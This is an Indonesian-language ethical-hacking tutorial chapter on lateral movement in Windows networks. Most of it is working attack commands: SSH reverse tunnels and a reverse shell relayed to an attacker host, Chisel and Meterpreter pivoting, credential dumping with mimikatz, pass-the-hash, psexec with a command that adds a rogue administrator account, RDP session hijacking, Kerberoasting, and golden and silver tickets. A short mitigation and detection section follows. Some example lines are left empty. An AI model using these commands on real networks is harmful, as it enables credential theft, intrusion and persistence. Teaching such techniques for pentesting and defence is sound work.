8.4.2 Lateral Movement
Pendahuluan
Lateral Movement adalah teknik bergerak dari satu sistem ke sistem lain dalam jaringan target setelah mendapatkan akses awal. Tujuan lateral movement adalah memperluas footprint penyerang, menemukan data bernilai tinggi, mencapai sistem kritikal, dan mempertahankan akses ke lingkungan target.
Dalam konteks ethical hacking, lateral movement adalah fase yang membedakan breach dangkal (hanya satu sistem) dari kompromi jaringan penuh. Organisasi sering mengamankan perimeter dengan firewall ketat, tetapi sekali penyerang menembus perimeter, jaringan internal sering kali memiliki kepercayaan yang tinggi antar sistem - membuat lateral movement relatif mudah.
1. SSH Tunneling
1.1 Local Port Forwarding
Local port forwarding meneruskan traffic dari port lokal attacker ke port target melalui SSH server.
Use case: Akses layanan internal yang hanya listen di localhost server (seperti database yang hanya accessible dari localhost).
# Format: ssh -L [local_port]:[target_host]:[target_port] user@ssh_server
# Contoh: Forward port 3306 (MySQL) dari server target ke port 13306 lokal
# Sekarang dari attacker connect ke localhost:13306
mysql -h 127.0.0.1 -P 13306 -u root -p
# Forward RDP ke internal server di belakang SSH gateway
# Connect via: xfreerdp /v:127.0.0.1:13389
1.2 Remote Port Forwarding
Remote port forwarding membuka port di server SSH yang meneruskan traffic ke port lokal attacker.
Use case: Ketika attacker berada di belakang NAT/firewall dan server target dapat terhubung ke attacker, tetapi tidak sebaliknya.
# Format: ssh -R [remote_port]:[local_host]:[local_port] user@attacker_server
# Di target: Forward port 8080 attacker ke layanan internal target
ssh -R 8080:localhost:80 user@attacker-ip
# Di attacker: Buka http://vuln.cybersecurity.or.id untuk mengakses web internal target
# Reverse shell via SSH (saat firewall blokir direct connection)
ssh -R 4444:localhost:4444 user@attacker-ip
# Di target: kirim reverse shell ke localhost:4444
# Di attacker: nc -lvnp 4444
1.3 Dynamic Port Forwarding (SOCKS Proxy)
Dynamic forwarding membuat SOCKS proxy di SSH server, memungkinkan aplikasi attacker merutekan traffic melalui server target.
# Buat SOCKS proxy di port 1080 lokal
# Gunakan dengan proxychains
# Edit /etc/proxychains4.conf:
# socks4 127.0.0.1 1080
# Semua traffic diarahkan melalui server target
proxychains4 nmap -sT -Pn 10.10.10.0/24
proxychains4 curl http://10.10.10.5/admin/
proxychains4 xfreerdp /v:10.10.10.5
1.4 SSH Escape dan Jump Host
Untuk jaringan dengan multiple hops (jumping through several hosts):
# Direct jump melalui intermediate host
# Multiple jump hosts
# Port forwarding melalui jump host
2. Pivoting
Pivoting adalah teknik menggunakan sistem yang sudah dikompromikan sebagai staging point untuk menyerang sistem lain di jaringan yang tidak langsung accessible dari attacker.
2.1 Chisel
Chisel adalah tunneling tool berbasis HTTP/HTTPS yang bekerja di atas TCP. Chisel lebih unggul daripada SSH di lingkungan yang memblokir port SSH atau hanya mengizinkan HTTP/HTTPS.
Setup chisel server (attacker):
# Attacker menjalankan chisel server
chisel server -p 8000 --reverse
# Output:
# 2024/01/15 10:00:00 server: Reverse tunnelling enabled
# 2024/01/15 10:00:00 server: Listening on http://0.0.0.0:8000
Setup chisel client (target):
# Target connect ke server dengan reverse SOCKS
chisel client http://192.168.1.100:8000 R:socks
# Atau forward port spesifik
chisel client http://192.168.1.100:8000 R:3306:10.10.10.5:3306
Penggunaan dengan proxychains:
# Chisel membuat SOCKS5 proxy di attacker di port 1080
# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
proxychains4 nmap -sT -Pn -p 80,443,445,3389 10.10.10.0/24
proxychains4 crackmapexec smb 10.10.10.0/24 -u admin -p password
2.2 Meterpreter Pivoting
Metasploit Meterpreter menyediakan routing built-in untuk pivoting.
Setup route di meterpreter:
# Setelah mendapatkan session meterpreter
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background
# Atau setup route manual
msf6 > route add 10.10.10.0/24 255.255.255.0 1
msf6 > route print
# Gunakan modul exploit melalui route
msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 10.10.10.5
msf6 > set SMBUser administrator
msf6 > set SMBPass P@ssw0rd
msf6 > run
Port forwarding via meterpreter:
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.5
meterpreter > portfwd add -L 0.0.0.0 -l 3306 -p 3306 -r 10.10.10.5
2.3 SOCAT Relay
SOCAT adalah networking relay tool yang bisa digunakan untuk pivoting sederhana.
# Port forwarding sederhana
socat TCP-LISTEN:4444,fork,reuseaddr TCP:10.10.10.5:4444
# Relay traffic melalui dua arah
socat TCP-LISTEN:8080,fork TCP:10.10.10.5:80
# Dengan SSL
socat OPENSSL-LISTEN:443,cert=server.pem,fork,reuseaddr TCP:10.10.10.5:443
3. Pass-the-Hash (PtH)
Pass-the-Hash adalah teknik yang memanfaatkan hash NTLM untuk autentikasi tanpa perlu mengetahui password plaintext. Teknik ini sangat efektif di lingkungan Windows karena protokol NTLM mengizinkan autentikasi menggunakan hash.
3.1 Ekstraksi Hash
Sebelum PtH, hash harus diekstrak dari sistem yang sudah dikompromikan:
# Meterpreter
meterpreter > hashdump
# Impacket secretsdump
impacket-secretsdump domain/[email protected]
# Mimikatz
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator
3.2 Eksekusi dengan Pass-the-Hash
Dengan Impacket:
# Eksekusi command via SMB
# Atau gunakan impacket-wmiexec
# Impacket-smbexec
Dengan CrackMapExec:
crackmapexec smb 10.10.10.0/24 -u administrator -H 886b913bd6eb40db85d2021c34054bcd -x whoami
# List shares
crackmapexec smb 10.10.10.5 -u administrator -H 886b913bd6eb40db85d2021c34054bcd --shares
# Dump SAM dari remote
crackmapexec smb 10.10.10.5 -u administrator -H 886b913bd6eb40db85d2021c34054bcd --sam
# Dump LSA secrets
crackmapexec smb 10.10.10.5 -u administrator -H 886b913bd6eb40db85d2021c34054bcd --lsa
Dengan Metasploit:
msf6 > use exploit/windows/smb/psexec
msf6 > set RHOST 10.10.10.5
msf6 > set SMBUser administrator
msf6 > set SMBPass aad3b435b51404eeaad3b435b51404ee:886b913bd6eb40db85d2021c34054bcd
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > run
3.3 Pass-the-Hash dengan Evil-WinRM
Jika WinRM terbuka (port 5985/5986):
evil-winrm -i 10.10.10.5 -u administrator -H 886b913bd6eb40db85d2021c34054bcd
# Setelah mendapatkan session
*Evil-WinRM* PS > whoami
*Evil-WinRM* PS > ipconfig
*Evil-WinRM* PS > upload exploit.exe
*Evil-WinRM* PS > download C:\Users\Administrator\Desktop\flag.txt
4. PsExec (SMB Exec)
PsExec adalah tool dari Microsoft Sysinternals yang mengeksekusi proses di sistem remote melalui SMB. Dalam pentest, PsExec sering digunakan untuk lateral movement karena legitimate dan sering tersedia.
4.1 PsExec Standar
# Menggunakan password
psexec \\10.10.10.5 -u Administrator -p P@ssw0rd cmd.exe
# Menggunakan hash (dengan Sysinternals PsExec + hash injection)
psexec \\10.10.10.5 cmd.exe
4.2 PsExec dari Impacket
# Impacket psexec dengan password
impacket-psexec administrator:P@[email protected]
# Impacket psexec dengan hash
# Non-interactive command
impacket-psexec administrator:P@[email protected] "net user hacker Password123! /add && net localgroup administrators hacker /add"
4.3 SMBExec
Alternatif PsExec yang tidak memerlukan ADMIN$ share untuk upload binary:
impacket-smbexec administrator:P@[email protected]
# Output lebih stealthy karena tidak upload file exe
# Menggunakan service control manager untuk eksekusi
5. WMI (Windows Management Instrumentation)
WMI adalah infrastruktur manajemen Windows yang dapat digunakan untuk eksekusi remote tanpa menghasilkan event SMB service creation.
5.1 WMI Exec
# Impacket wmiexec
impacket-wmiexec administrator:P@[email protected]
# WMI dengan password hash
# Command non-interactive
5.2 WMI Manual (PowerShell)
# Eksekusi command via WMI dari Windows client
wmic /node:10.10.10.5 /user:administrator /password:P@ssw0rd process call create "cmd.exe /c whoami > C:\temp\output.txt"
# Dengan PowerShell
Invoke-WmiMethod -ComputerName 10.10.10.5 -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c calc.exe"
5.3 WMI vs PsExec
| Aspek | PsExec | WMI |
|---|---|---|
| Port | 445 (SMB) | 135, 445 (RPC, SMB) |
| File upload | Upload binary ke ADMIN$ | Tidak upload file |
| Event log | Service creation logged | WMI event logged |
| Stealth | Noisy | Lebih stealthy |
| Windows default | Perlu download Sysinternals | Bawaan Windows |
| Dependency | ADMIN$ share harus ada | DCOM harus enabled |
6. RDP (Remote Desktop Protocol)
RDP menyediakan akses desktop interaktif ke sistem Windows remote.
6.1 RDP Lateral Movement
# Menggunakan xfreerdp (Linux)
xfreerdp /v:10.10.10.5 /u:administrator /p:P@ssw0rd /size:1280x720
# Dengan hash (pass-the-hash via Restricted Admin Mode)
xfreerdp /v:10.10.10.5 /u:administrator /pth:886b913bd6eb40db85d2021c34054bcd
# Mengaktifkan Restricted Admin Mode jika belum aktif:
# reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0
6.2 RDP Session Hijacking
Mengambil alih session RDP yang sudah ada (membutuhkan SYSTEM privilege):
# List session RDP
query user
# Menyambungkan ke session lain
# Menu: Start > tscon.exe SESSION_ID /dest:console
# Dengan cmd:
tscon 1 /dest:console
6.3 RDP dengan Metasploit
msf6 > auxiliary/scanner/rdp/rdp_scanner
msf6 > auxiliary/scanner/rdp/cve_2019_0708_bluekeep
7. Kerberos Exploitation
7.1 Kerberoasting
Menyerang service account dengan meminta TGS ticket dan mencrack offline.
# Dengan Impacket
impacket-GetUserSPNs domain.local/username:password -outputfile kerberos_hashes.txt
# Crack dengan hashcat
hashcat -m 13100 kerberos_hashes.txt /usr/share/wordlists/rockyou.txt
# Dengan PowerView (native)
Invoke-Kerberoast -OutputFormat hashcat | Export-Csv kerberoast.csv
7.2 AS-REP Roasting
Mendapatkan hash untuk user yang tidak memiliki Kerberos pre-authentication.
# Dengan Impacket
impacket-GetNPUsers domain.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt
# Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
7.3 Pass-the-Ticket
Menggunakan Kerberos ticket yang dicuri untuk autentikasi tanpa password.
# Ekstrak ticket dengan mimikatz
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::list /export
# Inject ticket ke session saat ini
# Dengan Rubeus (modern tool)
Rubeus.exe ptt /ticket:ticket.kirbi
7.4 Golden Ticket
Membuat Kerberos TGT palsu menggunakan hash KRBTGT.
# Dapatkan hash KRBTGT
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
# Buat golden ticket
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /id:500 /user:Administrator
# Inject ke session
mimikatz # kerberos::ptt ticket.kirbi
7.5 Silver Ticket
Membuat TGS palsu untuk service tertentu - lebih stealthy dari golden ticket.
# Buat silver ticket untuk service CIFS (file share)
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:FILE-SERVER.domain.local /rc4:HASH /service:CIFS /user:Administrator
# Service lain: HOST, HTTP, LDAP, MSSQLSvc, TERMSRV, WINRM
8. Lateral Movement Checklist
- Enumerasi subnet dan segmen jaringan internal
- Identifikasi sistem target yang accessible dari host terkompromi
- Cari credential reuse (password/hash yang sama di multiple sistem)
- Dump credential lokal dan domain dari sistem saat ini
- Setup pivot point dengan Chisel/Meterpreter/autoroute
- Lakukan service enumeration via proxy/pivot
- Exploitasi dengan PsExec/WMI/Pass-the-Hash ke target baru
- Dump credential lagi dari sistem baru - ulangi siklus
- Dokumentasikan semua host yang dikompromi dan metode yang digunakan
9. Detection dan Mitigasi
Langkah mitigasi untuk organisasi:
- Least Privilege - Batasi hak akses user dan service account
- Local Admin Password Management - LAPS untuk password unique per sistem
- Network Segmentation - Segmentasi ketat antar VLAN/subnet
- Privileged Access Workstation (PAW) - Workstation khusus admin
- Just-in-Time (JIT) Access - Akses admin hanya saat diperlukan
- Logging dan Monitoring - Audit event ID 4624 (logon), 4672 (privilege assignment), 5140 (SMB share)
- Kerberos Protection - Aktifkan Kerberos armoring, service account monitoring
Indikator lateral movement (IoC):
- Eksekusi service creation (Event ID 7045) - PsExec
- WMI activity (Event ID 5861) - WMI persistence
- RDP login dari IP tidak dikenal (Event ID 4624, logon type 10)
- Pass-the-Hash (Event ID 4624, logon type 3 dengan NTLM authentication)
- Multiple failed logon dalam waktu singkat
- Anomali SMB traffic ke banyak host
Kesimpulan
Lateral movement adalah fase yang memperluas dampak serangan dari satu sistem menjadi kompromi jaringan penuh. Teknik seperti pass-the-hash, PsExec, WMI, dan Kerberos exploitation memanfaatkan kepercayaan yang melekat dalam ekosistem jaringan Windows. SSH tunneling dan Chisel memungkinkan pentester melewati firewall dan NAT untuk mencapai sistem internal. Keberhasilan lateral movement sangat bergantung pada credential harvesting yang baik - setiap sistem baru yang dikompromi harus segera didump credential-nya untuk memperluas akses ke sistem berikutnya.